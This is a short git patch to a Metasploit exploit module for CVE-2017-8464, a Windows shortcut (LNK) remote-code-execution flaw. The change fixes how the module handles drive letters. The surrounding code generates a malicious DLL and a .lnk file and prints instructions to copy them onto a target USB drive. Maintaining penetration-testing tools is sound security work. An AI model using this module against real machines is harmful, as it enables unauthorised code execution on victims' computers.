From b62429f6fa3511cc8b29502f5a38b1d5f16b2515 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 3 Aug 2017 00:27:22 -0500 Subject: [PATCH] handle drive letters specified like E: nicely --- modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb b/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb index 34b92fd99c..3f1ae5173e 100644 --- a/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb +++ b/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb @@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{dll_path} created, copy it to the root folder of the target USB drive") if datastore['DRIVE'] - lnk = generate_link("#{datastore['DRIVE']}:\\#{dll_name}") + lnk = generate_link("#{datastore['DRIVE'].split(':')[0]}:\\#{dll_name}") lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk" lnk_path = store_file(lnk, lnk_filename) print_status("#{lnk_path} created, copy to the target USB drive")